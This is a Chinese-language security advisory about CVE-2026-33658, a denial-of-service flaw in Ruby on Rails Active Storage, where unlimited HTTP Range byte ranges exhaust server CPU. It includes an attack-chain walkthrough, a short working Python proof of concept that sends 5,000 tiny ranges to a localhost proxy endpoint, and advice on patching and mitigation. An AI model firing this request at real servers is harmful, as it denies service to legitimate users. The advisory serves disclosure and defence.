IPBUF安全漏洞报告
English
CVE-2026-33658 CVSS 6.5 中危

CVE-2026-33658 Ruby on Rails Active Storage 拒绝服务漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-33658
漏洞类型
拒绝服务
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Ruby on Rails (Active Storage)

相关标签

拒绝服务DoSRuby on RailsActive StorageCVE-2026-33658HTTP Range Header

漏洞概述

CVE-2026-33658 是 Ruby on Rails Active Storage 组件中的拒绝服务漏洞。在 8.1.2.1、8.0.4.1 和 7.2.3.1 之前的版本中,代理控制器未限制 HTTP Range header 中的字节范围数量。攻击者可发送包含数千个小范围的恶意请求,导致服务器消耗过多 CPU 资源,从而造成服务拒绝。此漏洞利用门槛低,且无需用户交互,对应用可用性构成威胁。

技术细节

该漏洞的核心在于 Active Storage 代理控制器对 HTTP Range header 的处理机制存在缺陷。HTTP Range 请求通常用于断点续传,允许客户端请求文件的特定字节部分。尽管 RFC 7233 规范允许在单个请求中指定多个范围,但 Active Storage 在实现时未对范围的数量设置上限。攻击者可构造一个包含数千个极小范围(如 bytes=0-0,1-1,2-2...)的恶意 HTTP 请求。当服务器处理该请求时,必须解析每一个范围、定位文件位置并构建相应的响应体。这种操作会占用大量的 CPU 周期和内存资源,相比于正常请求,其计算成本呈指数级增长。由于 CVSS 评分显示攻击复杂度低且需要低权限,已认证的恶意用户即可轻易发起攻击,耗尽服务器资源,导致合法用户无法访问服务。

攻击链分析

STEP 1
侦察
攻击者识别出目标应用程序使用了存在漏洞的 Ruby on Rails Active Storage 组件,并确认了文件代理端点的 URL。
STEP 2
漏洞利用
攻击者向 Active Storage 的代理端点发送特制的 HTTP GET 请求。该请求包含一个 Range header,其中填充了数千个极小的字节范围(例如 bytes=0-0,1-1,2-2...)。
STEP 3
资源耗尽
服务器在尝试解析和处理这些复杂的范围请求时,CPU 占用率急剧上升,导致响应变慢或完全无响应。
STEP 4
拒绝服务
由于系统资源被耗尽,合法用户的请求无法得到及时处理,导致应用程序服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL of a vulnerable Active Storage endpoint target_url = "http://localhost:3000/rails/active_storage/disk/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBCZz09IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--example/proxy" # Construct a malicious Range header with thousands of small ranges # This causes high CPU usage during parsing range_count = 5000 ranges = ",".join([f"{i}-{i}" for i in range(range_count)]) headers = { "Range": f"bytes={ranges}" } try: print(f"Sending request with {range_count} ranges...") response = requests.get(target_url, headers=headers, timeout=10) print(f"Response Status Code: {response.status_code}") except requests.exceptions.Timeout: print("Request timed out - Possible DoS condition triggered.") except Exception as e: print(f"An error occurred: {e}")

影响范围

Active Storage < 7.2.3.1
Active Storage < 8.0.4.1
Active Storage < 8.1.2.1

防御指南

临时缓解措施
建议尽快升级至官方发布的修复版本。如果暂时无法升级,可在 Web 服务器(如 Nginx、Apache)或应用防火墙(WAF)上配置规则,拦截包含异常大量 Range 字段的 HTTP 请求,或者限制单个请求的处理超时时间,以减轻攻击影响。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表